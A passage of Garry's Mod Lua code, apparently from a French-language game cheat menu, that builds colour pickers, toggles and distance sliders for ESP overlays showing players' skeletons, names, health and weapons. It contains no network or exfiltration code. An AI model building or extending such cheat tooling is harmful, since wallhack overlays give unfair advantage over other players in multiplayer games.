5141OptionsColorSeaBlue:SetText( " " )
5142OptionsColorSeaBlue.Paint = function( self, w, h )
5143if self:IsHovered() then
5144draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
5145surface.SetDrawColor(255, 255, 255 ,100)
5146surface.DrawOutlinedRect(0, 0, w, h)
5147else
5148draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
5149surface.SetDrawColor(255, 255, 255 ,100)
5150surface.DrawOutlinedRect(0, 0, w, h)
5151end
5152OptionsColorSeaBlue.DoClick = function()
5153LocalPlayer():ConCommand("fiji_principal_color 0")
5154LocalPlayer():ConCommand("fiji_secondary_color 229")
5155LocalPlayer():ConCommand("fiji_third_color 255")
5156surface.PlaySound( fiji_pityhover )
5157
5158end
5159end
5160local OptionsColorPurple = vgui.Create( "DButton", pPcolor )
5161OptionsColorPurple:SetPos( 136,20 )
5162OptionsColorPurple:SetSize( 20, 20 )
5163OptionsColorPurple:SetText( " " )
5164OptionsColorPurple.Paint = function( self, w, h )
5165if self:IsHovered() then
5166draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
5167surface.SetDrawColor(255, 255, 255 ,100)
5168surface.DrawOutlinedRect(0, 0, w, h)
5169else
5170draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
5171surface.SetDrawColor(255, 255, 255 ,100)
5172surface.DrawOutlinedRect(0, 0, w, h)
5173end
5174OptionsColorPurple.DoClick = function()
5175LocalPlayer():ConCommand("fiji_principal_color 89")
5176LocalPlayer():ConCommand("fiji_secondary_color 0")
5177LocalPlayer():ConCommand("fiji_third_color 255")
5178surface.PlaySound( fiji_pityhover )
5179
5180end
5181end
5182local OptionsColorPink = vgui.Create( "DButton", pPcolor )
5183OptionsColorPink:SetPos( 158,20 )
5184OptionsColorPink:SetSize( 20, 20 )
5185OptionsColorPink:SetText( " " )
5186OptionsColorPink.Paint = function( self, w, h )
5187if self:IsHovered() then
5188draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
5189surface.SetDrawColor(255, 255, 255 ,100)
5190surface.DrawOutlinedRect(0, 0, w, h)
5191else
5192draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
5193surface.SetDrawColor(255, 255, 255 ,100)
5194surface.DrawOutlinedRect(0, 0, w, h)
5195end
5196OptionsColorPink.DoClick = function()
5197LocalPlayer():ConCommand("fiji_principal_color 255")
5198LocalPlayer():ConCommand("fiji_secondary_color 0")
5199LocalPlayer():ConCommand("fiji_third_color 250")
5200surface.PlaySound( fiji_pityhover )
5201
5202end
5203end
5204local OptionsColorWhite = vgui.Create( "DButton", pPcolor )
5205OptionsColorWhite:SetPos( 180,20 )
5206OptionsColorWhite:SetSize( 20, 20 )
5207OptionsColorWhite:SetText( " " )
5208OptionsColorWhite.Paint = function( self, w, h )
5209if self:IsHovered() then
5210draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
5211surface.SetDrawColor(255, 255, 255 ,100)
5212surface.DrawOutlinedRect(0, 0, w, h)
5213else
5214draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
5215surface.SetDrawColor(255, 255, 255 ,100)
5216surface.DrawOutlinedRect(0, 0, w, h)
5217end
5218OptionsColorWhite.DoClick = function()
5219LocalPlayer():ConCommand("fiji_principal_color 255")
5220LocalPlayer():ConCommand("fiji_secondary_color 255")
5221LocalPlayer():ConCommand("fiji_third_color 255")
5222surface.PlaySound( fiji_pityhover )
5223
5224end
5225end
5226--[[if fiji_vision_type:GetInt() == 2 then
5227local pPcolornot = vgui.Create( "DPanel", pContent )
5228pPcolornot:SetSize( 238, 50 )
5229pPcolornot:SetPos( 151, 230 )
5230function pPcolornot:Paint( w, h )
5231DrawBlur(self, 5)
5232surface.SetDrawColor( 200,200,200,255 )
5233surface.DrawOutlinedRect( 0, 0, w, h )
5234draw.RoundedBox( 0, 0, 0, w, h, Color( 40,40,40, 180 ) )
5235draw.SimpleText( "SOLID : Configuration non-disponnible", "pity_home5",
523611, 25, color_white, 0, 1 )
5237end
5238end]]
5239local pPcolor2 = vgui.Create( "DPanel", pContent )
5240pPcolor2:SetSize( 205, 50 )
5241pPcolor2:SetPos( 33, 298 )
5242function pPcolor2:Paint( w, h )
5243draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5244draw.SimpleText( "Couleur Infos", "pity_home5", 70, 8, color_white, 0, 1
5245 )
5246end
5247local OptionsColorRed2 = vgui.Create( "DButton", pPcolor2 )
5248OptionsColorRed2:SetPos( 4,20 )
5249OptionsColorRed2:SetSize( 20, 20 )
5250OptionsColorRed2:SetText( " " )
5251OptionsColorRed2.Paint = function( self, w, h )
5252if self:IsHovered() then
5253draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
5254surface.SetDrawColor(255, 255, 255 ,100)
5255surface.DrawOutlinedRect(0, 0, w, h)
5256else
5257draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
5258surface.SetDrawColor(255, 255, 255 ,100)
5259surface.DrawOutlinedRect(0, 0, w, h)
5260end
5261OptionsColorRed2.DoClick = function()
5262LocalPlayer():ConCommand("fiji_principal_color_infos 255")
5263LocalPlayer():ConCommand("fiji_secondary_color_infos 50")
5264LocalPlayer():ConCommand("fiji_third_color_infos 50")
5265surface.PlaySound( fiji_pityhover )
5266
5267end
5268end
5269local OptionsColorOrange2 = vgui.Create( "DButton", pPcolor2 )
5270OptionsColorOrange2:SetPos( 26,20 )
5271OptionsColorOrange2:SetSize( 20, 20 )
5272OptionsColorOrange2:SetText( " " )
5273OptionsColorOrange2.Paint = function( self, w, h )
5274if self:IsHovered() then
5275draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
5276surface.SetDrawColor(255, 255, 255 ,100)
5277surface.DrawOutlinedRect(0, 0, w, h)
5278else
5279draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
5280surface.SetDrawColor(255, 255, 255 ,100)
5281surface.DrawOutlinedRect(0, 0, w, h)
5282end
5283OptionsColorOrange2.DoClick = function()
5284LocalPlayer():ConCommand("fiji_principal_color_infos 255")
5285LocalPlayer():ConCommand("fiji_secondary_color_infos 165")
5286LocalPlayer():ConCommand("fiji_third_color_infos 56")
5287surface.PlaySound( fiji_pityhover )
5288
5289end
5290end
5291local OptionsColorYellow2 = vgui.Create( "DButton", pPcolor2 )
5292OptionsColorYellow2:SetPos( 48,20 )
5293OptionsColorYellow2:SetSize( 20, 20 )
5294OptionsColorYellow2:SetText( " " )
5295OptionsColorYellow2.Paint = function( self, w, h )
5296if self:IsHovered() then
5297draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
5298surface.SetDrawColor(255, 255, 255 ,100)
5299surface.DrawOutlinedRect(0, 0, w, h)
5300else
5301draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
5302surface.SetDrawColor(255, 255, 255 ,100)
5303surface.DrawOutlinedRect(0, 0, w, h)
5304end
5305OptionsColorYellow2.DoClick = function()
5306LocalPlayer():ConCommand("fiji_principal_color_infos 196")
5307LocalPlayer():ConCommand("fiji_secondary_color_infos 192")
5308LocalPlayer():ConCommand("fiji_third_color_infos 0")
5309surface.PlaySound( fiji_pityhover )
5310
5311end
5312end
5313local OptionsColorGreen2 = vgui.Create( "DButton", pPcolor2 )
5314OptionsColorGreen2:SetPos( 70,20 )
5315OptionsColorGreen2:SetSize( 20, 20 )
5316OptionsColorGreen2:SetText( " " )
5317OptionsColorGreen2.Paint = function( self, w, h )
5318if self:IsHovered() then
5319draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
5320surface.SetDrawColor(255, 255, 255 ,100)
5321surface.DrawOutlinedRect(0, 0, w, h)
5322else
5323draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
5324surface.SetDrawColor(255, 255, 255 ,100)
5325surface.DrawOutlinedRect(0, 0, w, h)
5326end
5327OptionsColorGreen2.DoClick = function()
5328LocalPlayer():ConCommand("fiji_principal_color_infos 3")
5329LocalPlayer():ConCommand("fiji_secondary_color_infos 196")
5330LocalPlayer():ConCommand("fiji_third_color_infos 0")
5331surface.PlaySound( fiji_pityhover )
5332
5333end
5334end
5335local OptionsColorBlue2 = vgui.Create( "DButton", pPcolor2 )
5336OptionsColorBlue2:SetPos( 92,20 )
5337OptionsColorBlue2:SetSize( 20, 20 )
5338OptionsColorBlue2:SetText( " " )
5339OptionsColorBlue2.Paint = function( self, w, h )
5340if self:IsHovered() then
5341draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
5342surface.SetDrawColor(255, 255, 255 ,100)
5343surface.DrawOutlinedRect(0, 0, w, h)
5344else
5345draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
5346surface.SetDrawColor(255, 255, 255 ,100)
5347surface.DrawOutlinedRect(0, 0, w, h)
5348end
5349OptionsColorBlue2.DoClick = function()
5350LocalPlayer():ConCommand("fiji_principal_color_infos 91")
5351LocalPlayer():ConCommand("fiji_secondary_color_infos 96")
5352LocalPlayer():ConCommand("fiji_third_color_infos 255")
5353surface.PlaySound( fiji_pityhover )
5354
5355end
5356end
5357local OptionsColorSeaBlue2 = vgui.Create( "DButton", pPcolor2 )
5358OptionsColorSeaBlue2:SetPos( 114,20 )
5359OptionsColorSeaBlue2:SetSize( 20, 20 )
5360OptionsColorSeaBlue2:SetText( " " )
5361OptionsColorSeaBlue2.Paint = function( self, w, h )
5362if self:IsHovered() then
5363draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
5364surface.SetDrawColor(255, 255, 255 ,100)
5365surface.DrawOutlinedRect(0, 0, w, h)
5366else
5367draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
5368surface.SetDrawColor(255, 255, 255 ,100)
5369surface.DrawOutlinedRect(0, 0, w, h)
5370end
5371OptionsColorSeaBlue2.DoClick = function()
5372LocalPlayer():ConCommand("fiji_principal_color_infos 81")
5373LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
5374LocalPlayer():ConCommand("fiji_third_color_infos 246")
5375surface.PlaySound( fiji_pityhover )
5376
5377end
5378end
5379local OptionsColorPurple2 = vgui.Create( "DButton", pPcolor2 )
5380OptionsColorPurple2:SetPos( 136,20 )
5381OptionsColorPurple2:SetSize( 20, 20 )
5382OptionsColorPurple2:SetText( " " )
5383OptionsColorPurple2.Paint = function( self, w, h )
5384if self:IsHovered() then
5385draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
5386surface.SetDrawColor(255, 255, 255 ,100)
5387surface.DrawOutlinedRect(0, 0, w, h)
5388else
5389draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
5390surface.SetDrawColor(255, 255, 255 ,100)
5391surface.DrawOutlinedRect(0, 0, w, h)
5392end
5393OptionsColorPurple2.DoClick = function()
5394LocalPlayer():ConCommand("fiji_principal_color_infos 147")
5395LocalPlayer():ConCommand("fiji_secondary_color_infos 76")
5396LocalPlayer():ConCommand("fiji_third_color_infos 255")
5397surface.PlaySound( fiji_pityhover )
5398
5399end
5400end
5401local OptionsColorPink2 = vgui.Create( "DButton", pPcolor2 )
5402OptionsColorPink2:SetPos( 158,20 )
5403OptionsColorPink2:SetSize( 20, 20 )
5404OptionsColorPink2:SetText( " " )
5405OptionsColorPink2.Paint = function( self, w, h )
5406if self:IsHovered() then
5407draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
5408surface.SetDrawColor(255, 255, 255 ,100)
5409surface.DrawOutlinedRect(0, 0, w, h)
5410else
5411draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
5412surface.SetDrawColor(255, 255, 255 ,100)
5413surface.DrawOutlinedRect(0, 0, w, h)
5414end
5415OptionsColorPink2.DoClick = function()
5416LocalPlayer():ConCommand("fiji_principal_color_infos 252")
5417LocalPlayer():ConCommand("fiji_secondary_color_infos 96")
5418LocalPlayer():ConCommand("fiji_third_color_infos 255")
5419surface.PlaySound( fiji_pityhover )
5420
5421end
5422end
5423local OptionsColorWhite2 = vgui.Create( "DButton", pPcolor2 )
5424OptionsColorWhite2:SetPos( 180,20 )
5425OptionsColorWhite2:SetSize( 20, 20 )
5426OptionsColorWhite2:SetText( " " )
5427OptionsColorWhite2.Paint = function( self, w, h )
5428if self:IsHovered() then
5429draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
5430surface.SetDrawColor(255, 255, 255 ,100)
5431surface.DrawOutlinedRect(0, 0, w, h)
5432else
5433draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
5434surface.SetDrawColor(255, 255, 255 ,100)
5435surface.DrawOutlinedRect(0, 0, w, h)
5436end
5437OptionsColorWhite2.DoClick = function()
5438LocalPlayer():ConCommand("fiji_principal_color_infos 255")
5439LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
5440LocalPlayer():ConCommand("fiji_third_color_infos 255")
5441surface.PlaySound( fiji_pityhover )
5442
5443end
5444end
5445
5446
5447local pPcolor4 = vgui.Create( "DPanel", pContent )
5448pPcolor4:SetSize( 205, 50 )
5449pPcolor4:SetPos( 297, 316 )
5450function pPcolor4:Paint( w, h )
5451draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5452draw.SimpleText( "Couleur Props", "pity_home5", 70, 8, color_white, 0, 1
5453 )
5454end
5455local OptionsColorRed3 = vgui.Create( "DButton", pPcolor4 )
5456OptionsColorRed3:SetPos( 4,20 )
5457OptionsColorRed3:SetSize( 20, 20 )
5458OptionsColorRed3:SetText( " " )
5459OptionsColorRed3.Paint = function( self, w, h )
5460if self:IsHovered() then
5461draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
5462surface.SetDrawColor(255, 255, 255 ,100)
5463surface.DrawOutlinedRect(0, 0, w, h)
5464else
5465draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
5466surface.SetDrawColor(255, 255, 255 ,100)
5467surface.DrawOutlinedRect(0, 0, w, h)
5468end
5469OptionsColorRed3.DoClick = function()
5470LocalPlayer():ConCommand("fiji_principal_color_props 255")
5471LocalPlayer():ConCommand("fiji_secondary_color_props 50")
5472LocalPlayer():ConCommand("fiji_third_color_props 50")
5473surface.PlaySound( fiji_pityhover )
5474
5475end
5476end
5477local OptionsColorOrange3 = vgui.Create( "DButton", pPcolor4 )
5478OptionsColorOrange3:SetPos( 26,20 )
5479OptionsColorOrange3:SetSize( 20, 20 )
5480OptionsColorOrange3:SetText( " " )
5481OptionsColorOrange3.Paint = function( self, w, h )
5482if self:IsHovered() then
5483draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
5484surface.SetDrawColor(255, 255, 255 ,100)
5485surface.DrawOutlinedRect(0, 0, w, h)
5486else
5487draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
5488surface.SetDrawColor(255, 255, 255 ,100)
5489surface.DrawOutlinedRect(0, 0, w, h)
5490end
5491OptionsColorOrange3.DoClick = function()
5492LocalPlayer():ConCommand("fiji_principal_color_props 255")
5493LocalPlayer():ConCommand("fiji_secondary_color_props 165")
5494LocalPlayer():ConCommand("fiji_third_color_props 56")
5495surface.PlaySound( fiji_pityhover )
5496
5497end
5498end
5499local OptionsColorYellow3 = vgui.Create( "DButton", pPcolor4 )
5500OptionsColorYellow3:SetPos( 48,20 )
5501OptionsColorYellow3:SetSize( 20, 20 )
5502OptionsColorYellow3:SetText( " " )
5503OptionsColorYellow3.Paint = function( self, w, h )
5504if self:IsHovered() then
5505draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
5506surface.SetDrawColor(255, 255, 255 ,100)
5507surface.DrawOutlinedRect(0, 0, w, h)
5508else
5509draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
5510surface.SetDrawColor(255, 255, 255 ,100)
5511surface.DrawOutlinedRect(0, 0, w, h)
5512end
5513OptionsColorYellow3.DoClick = function()
5514LocalPlayer():ConCommand("fiji_principal_color_props 196")
5515LocalPlayer():ConCommand("fiji_secondary_color_props 192")
5516LocalPlayer():ConCommand("fiji_third_color_props 0")
5517surface.PlaySound( fiji_pityhover )
5518
5519end
5520end
5521local OptionsColorGreen3 = vgui.Create( "DButton", pPcolor4 )
5522OptionsColorGreen3:SetPos( 70,20 )
5523OptionsColorGreen3:SetSize( 20, 20 )
5524OptionsColorGreen3:SetText( " " )
5525OptionsColorGreen3.Paint = function( self, w, h )
5526if self:IsHovered() then
5527draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
5528surface.SetDrawColor(255, 255, 255 ,100)
5529surface.DrawOutlinedRect(0, 0, w, h)
5530else
5531draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
5532surface.SetDrawColor(255, 255, 255 ,100)
5533surface.DrawOutlinedRect(0, 0, w, h)
5534end
5535OptionsColorGreen3.DoClick = function()
5536LocalPlayer():ConCommand("fiji_principal_color_props 3")
5537LocalPlayer():ConCommand("fiji_secondary_color_props 196")
5538LocalPlayer():ConCommand("fiji_third_color_props 0")
5539surface.PlaySound( fiji_pityhover )
5540
5541end
5542end
5543local OptionsColorBlue3 = vgui.Create( "DButton", pPcolor4 )
5544OptionsColorBlue3:SetPos( 92,20 )
5545OptionsColorBlue3:SetSize( 20, 20 )
5546OptionsColorBlue3:SetText( " " )
5547OptionsColorBlue3.Paint = function( self, w, h )
5548if self:IsHovered() then
5549draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
5550surface.SetDrawColor(255, 255, 255 ,100)
5551surface.DrawOutlinedRect(0, 0, w, h)
5552else
5553draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
5554surface.SetDrawColor(255, 255, 255 ,100)
5555surface.DrawOutlinedRect(0, 0, w, h)
5556end
5557OptionsColorBlue3.DoClick = function()
5558LocalPlayer():ConCommand("fiji_principal_color_props 91")
5559LocalPlayer():ConCommand("fiji_secondary_color_props 96")
5560LocalPlayer():ConCommand("fiji_third_color_props 255")
5561surface.PlaySound( fiji_pityhover )
5562
5563end
5564end
5565local OptionsColorSeaBlue3 = vgui.Create( "DButton", pPcolor4 )
5566OptionsColorSeaBlue3:SetPos( 114,20 )
5567OptionsColorSeaBlue3:SetSize( 20, 20 )
5568OptionsColorSeaBlue3:SetText( " " )
5569OptionsColorSeaBlue3.Paint = function( self, w, h )
5570if self:IsHovered() then
5571draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
5572surface.SetDrawColor(255, 255, 255 ,100)
5573surface.DrawOutlinedRect(0, 0, w, h)
5574else
5575draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
5576surface.SetDrawColor(255, 255, 255 ,100)
5577surface.DrawOutlinedRect(0, 0, w, h)
5578end
5579OptionsColorSeaBlue3.DoClick = function()
5580LocalPlayer():ConCommand("fiji_principal_color_props 81")
5581LocalPlayer():ConCommand("fiji_secondary_color_props 255")
5582LocalPlayer():ConCommand("fiji_third_color_props 246")
5583surface.PlaySound( fiji_pityhover )
5584
5585end
5586end
5587local OptionsColorPurple3 = vgui.Create( "DButton", pPcolor4 )
5588OptionsColorPurple3:SetPos( 136,20 )
5589OptionsColorPurple3:SetSize( 20, 20 )
5590OptionsColorPurple3:SetText( " " )
5591OptionsColorPurple3.Paint = function( self, w, h )
5592if self:IsHovered() then
5593draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
5594surface.SetDrawColor(255, 255, 255 ,100)
5595surface.DrawOutlinedRect(0, 0, w, h)
5596else
5597draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
5598surface.SetDrawColor(255, 255, 255 ,100)
5599surface.DrawOutlinedRect(0, 0, w, h)
5600end
5601OptionsColorPurple3.DoClick = function()
5602LocalPlayer():ConCommand("fiji_principal_color_props 147")
5603LocalPlayer():ConCommand("fiji_secondary_color_props 76")
5604LocalPlayer():ConCommand("fiji_third_color_props 255")
5605surface.PlaySound( fiji_pityhover )
5606
5607end
5608end
5609local OptionsColorPink3 = vgui.Create( "DButton", pPcolor4 )
5610OptionsColorPink3:SetPos( 158,20 )
5611OptionsColorPink3:SetSize( 20, 20 )
5612OptionsColorPink3:SetText( " " )
5613OptionsColorPink3.Paint = function( self, w, h )
5614if self:IsHovered() then
5615draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
5616surface.SetDrawColor(255, 255, 255 ,100)
5617surface.DrawOutlinedRect(0, 0, w, h)
5618else
5619draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
5620surface.SetDrawColor(255, 255, 255 ,100)
5621surface.DrawOutlinedRect(0, 0, w, h)
5622end
5623OptionsColorPink3.DoClick = function()
5624LocalPlayer():ConCommand("fiji_principal_color_props 252")
5625LocalPlayer():ConCommand("fiji_secondary_color_props 96")
5626LocalPlayer():ConCommand("fiji_third_color_props 255")
5627surface.PlaySound( fiji_pityhover )
5628
5629end
5630end
5631local OptionsColorWhite3 = vgui.Create( "DButton", pPcolor4 )
5632OptionsColorWhite3:SetPos( 180,20 )
5633OptionsColorWhite3:SetSize( 20, 20 )
5634OptionsColorWhite3:SetText( " " )
5635OptionsColorWhite3.Paint = function( self, w, h )
5636if self:IsHovered() then
5637draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
5638surface.SetDrawColor(255, 255, 255 ,100)
5639surface.DrawOutlinedRect(0, 0, w, h)
5640else
5641draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
5642surface.SetDrawColor(255, 255, 255 ,100)
5643surface.DrawOutlinedRect(0, 0, w, h)
5644end
5645OptionsColorWhite3.DoClick = function()
5646LocalPlayer():ConCommand("fiji_principal_color_props 255")
5647LocalPlayer():ConCommand("fiji_secondary_color_props 255")
5648LocalPlayer():ConCommand("fiji_third_color_props 255")
5649surface.PlaySound( fiji_pityhover )
5650
5651end
5652end
5653
5654
5655
5656
5657local btnSolid = BD:CreateBtn( "SOLID", 103, 73, 65, 25, pContent )
5658function btnSolid:DoClick() surface.PlaySound( fiji_pityclick ) if
5659fiji_vision_type:GetInt() == 2 then RunConsoleCommand( "BD_hitman_type",
5660 0 ) else RunConsoleCommand( "BD_hitman_type", 2 ) end end
5661function btnSolid:Think() if fiji_vision_type:GetInt() == 2 then
5662self.activebtn = true else self.activebtn = false end end
5663
5664local btnActive = BD:CreateBtn( "Activé", 103, 43, 65, 25, pContent )
5665
5666function btnActive:DoClick() surface.PlaySound( fiji_pityclick ) if
5667fiji_vision_enable:GetInt() == 1 then RunConsoleCommand(
5668"BD_hitman_enable", 0 ) else RunConsoleCommand( "BD_hitman_enable", 1 )
5669end end
5670function btnActive:Think() if fiji_vision_enable:GetInt() == 1 then
5671self.activebtn = true else self.activebtn = false end end
5672
5673local btnPropsActive = BD:CreateBtn( "Activé", 368, 232, 65, 25,
5674pContent )
5675function btnPropsActive:DoClick() surface.PlaySound( fiji_pityclick )
5676if fiji_vision_enable_props:GetInt() == 1 then RunConsoleCommand(
5677"BD_hitman_enable_props", 0 ) else RunConsoleCommand(
5678"BD_hitman_enable_props", 1 ) end end
5679function btnPropsActive:Think() if fiji_vision_enable_props:GetInt() == 1
5680 then self.activebtn = true else self.activebtn = false end end
5681
5682local btnSquelette = BD:CreateBtn( "SQUELETTE", 33, 73, 65, 25, pContent
5683 )
5684function btnSquelette:DoClick() surface.PlaySound( fiji_pityclick ) if
5685fiji_vision_type:GetInt() == 1 then RunConsoleCommand( "BD_hitman_type",
5686 0 ) else RunConsoleCommand( "BD_hitman_type", 1 ) end end
5687function btnSquelette:Think() if fiji_vision_type:GetInt() == 1 then
5688self.activebtn = true else self.activebtn = false end end
5689
5690local btnGlow = BD:CreateBtn( "GLOW", 173, 73, 65, 25, pContent )
5691function btnGlow:DoClick() surface.PlaySound( fiji_pityclick ) if
5692fiji_vision_type:GetInt() == 3 then RunConsoleCommand( "BD_hitman_type",
5693 0 ) else RunConsoleCommand( "BD_hitman_type", 3 ) end end
5694function btnGlow:Think() if fiji_vision_type:GetInt() == 3 then
5695self.activebtn = true else self.activebtn = false end end
5696
5697local btnEntiterActive = BD:CreateBtn( "Activé", 335, 35, 65, 25,
5698pContent )
5699function btnEntiterActive:DoClick() surface.PlaySound( fiji_pityclick )
5700 if fiji_vision_enable_ent:GetInt() == 1 then RunConsoleCommand(
5701"BD_hitman_enable_ent", 0 ) else RunConsoleCommand(
5702"BD_hitman_enable_ent", 1 ) end end
5703function btnEntiterActive:Think() if fiji_vision_enable_ent:GetInt() == 1
5704 then self.activebtn = true else self.activebtn = false end end
5705
5706local btnEntitermenu = BD:CreateBtn( "Menu", 403, 35, 65, 25, pContent )
5707
5708function btnEntitermenu:DoClick() surface.PlaySound( fiji_pityclick )
5709LocalPlayer():ConCommand("fiji_espent") end
5710
5711local btnEntiterhalo = BD:CreateBtn( "Glow", 335, 135, 65, 25, pContent )
5712
5713function btnEntiterhalo:DoClick() surface.PlaySound( fiji_pityclick )
5714if fiji_vision_enable_enthalo:GetInt() == 1 then RunConsoleCommand(
5715"fiji_vision_enable_enthalo", 0 ) else RunConsoleCommand(
5716"fiji_vision_enable_enthalo", 1 ) end end
5717function btnEntiterhalo:Think() if fiji_vision_enable_enthalo:GetInt()
5718== 1 then self.activebtn = true else self.activebtn = false end end
5719
5720local btnEntiterhalo = BD:CreateBtn( "Texte", 403, 135, 65, 25, pContent
5721 )
5722function btnEntiterhalo:DoClick() surface.PlaySound( fiji_pityclick )
5723if fiji_vision_enable_enttext:GetInt() == 1 then RunConsoleCommand(
5724"fiji_vision_enable_enttext", 0 ) else RunConsoleCommand(
5725"fiji_vision_enable_enttext", 1 ) end end
5726function btnEntiterhalo:Think() if fiji_vision_enable_enttext:GetInt()
5727== 1 then self.activebtn = true else self.activebtn = false end end
5728
5729local btnWeapon = BD:CreateBtn( "ARMES", 33, 103, 65, 25, pContent )
5730function btnWeapon:DoClick()
5731surface.PlaySound( fiji_pityclick )
5732if fiji_vision_infos_weapons:GetInt() == 1 then
5733RunConsoleCommand( 'BD_hitman_infos_weapons', 0 )
5734else
5735RunConsoleCommand( 'BD_hitman_infos_weapons', 1 )
5736end
5737end
5738function btnWeapon:Think() if fiji_vision_infos_weapons:GetInt() == 1
5739then self.activebtn = true else self.activebtn = false end end
5740
5741local btnName = BD:CreateBtn( "NOM", 103, 103, 65, 25, pContent )
5742function btnName:DoClick()
5743surface.PlaySound( fiji_pityclick )
5744if fiji_vision_infos_name:GetInt() == 1 then
5745RunConsoleCommand( 'BD_hitman_infos_name', 0 )
5746else
5747RunConsoleCommand( 'BD_hitman_infos_name', 1 )
5748end
5749end
5750function btnName:Think() if fiji_vision_infos_name:GetInt() == 1 then
5751self.activebtn = true else self.activebtn = false end end
5752
5753local btnHealth = BD:CreateBtn( "SANTÉ", 173, 103, 65, 25, pContent )
5754
5755function btnHealth:DoClick()
5756surface.PlaySound( fiji_pityclick )
5757if fiji_vision_infos_health:GetInt() == 1 then
5758RunConsoleCommand( 'BD_hitman_infos_health', 0 )
5759else
5760RunConsoleCommand( 'BD_hitman_infos_health', 1 )
5761end
5762end
5763function btnHealth:Think() if fiji_vision_infos_health:GetInt() == 1
5764then self.activebtn = true else self.activebtn = false end end
5765
5766local pP = vgui.Create( "DPanel", pContent )
5767pP:SetSize( 205, 50 )
5768pP:SetPos( 33, 133 )
5769function pP:Paint( w, h )
5770draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5771draw.SimpleText( "DISTANCE ESP", "pity_home5", 10, h / 2, color_white,
57720, 1 )
5773end
5774
5775local pP2 = vgui.Create( "DPanel", pContent )
5776pP2:SetSize( 205, 50 )
5777pP2:SetPos( 33, 188 )
5778function pP2:Paint( w, h )
5779draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5780draw.SimpleText( "DISTANCE INFOS", "pity_home5", 10, h / 2, color_white,
5781 0, 1 )
5782end
5783local pP3 = vgui.Create( "DPanel", pContent )
5784pP3:SetSize( 205, 50 )
5785pP3:SetPos( 297, 64 )
5786function pP3:Paint( w, h )
5787draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5788draw.SimpleText( "DISTANCE ENT", "pity_home5", 10, h / 2, color_white,
57890, 1 )
5790end
5791local pP4 = vgui.Create( "DPanel", pContent )
5792pP4:SetSize( 205, 50 )
5793pP4:SetPos( 297, 261 )
5794function pP4:Paint( w, h )
5795draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5796draw.SimpleText( "DISTANCE PROPS", "pity_home5", 10, h / 2, color_white,
5797 0, 1 )
5798end
5799local TextEsp = vgui.Create( "DPanel", pContent )
5800TextEsp:SetSize(100,30)
5801TextEsp:SetPos(220,355)
5802TextEsp.Paint = function( self, w, h )
5803draw.RoundedBox( 0, 0, 0, w, h, Color( 255,110,110, 0 ) )
5804end
5805
5806local pDistanceA = vgui.Create( "DNumSlider", pContent )
5807pDistanceA:SetPos( 68, 188 )
5808pDistanceA:SetSize( 180, 50 )
5809pDistanceA:SetText( "" )
5810pDistanceA:SetMin( 120 )
5811pDistanceA:SetMax( 2000 )
5812pDistanceA:SetDecimals( 0 )
5813pDistanceA:SetValue( fiji_vision_distance_infos:GetInt() or 200 )
5814pDistanceA.Scratch:SetVisible( false )
5815pDistanceA.TextArea:SetTextColor( color_white )
5816function pDistanceA.Slider:Paint(w, h)
5817surface.SetDrawColor(0, 0, 0, 255)
5818surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local
5819barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5820
5821if fiji_style_menu:GetInt() == 2 then
5822surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5823surface.DrawRect(0,
5824 21, barw, h / 5)
5825
5826elseif fiji_style_menu:GetInt() == 1 then
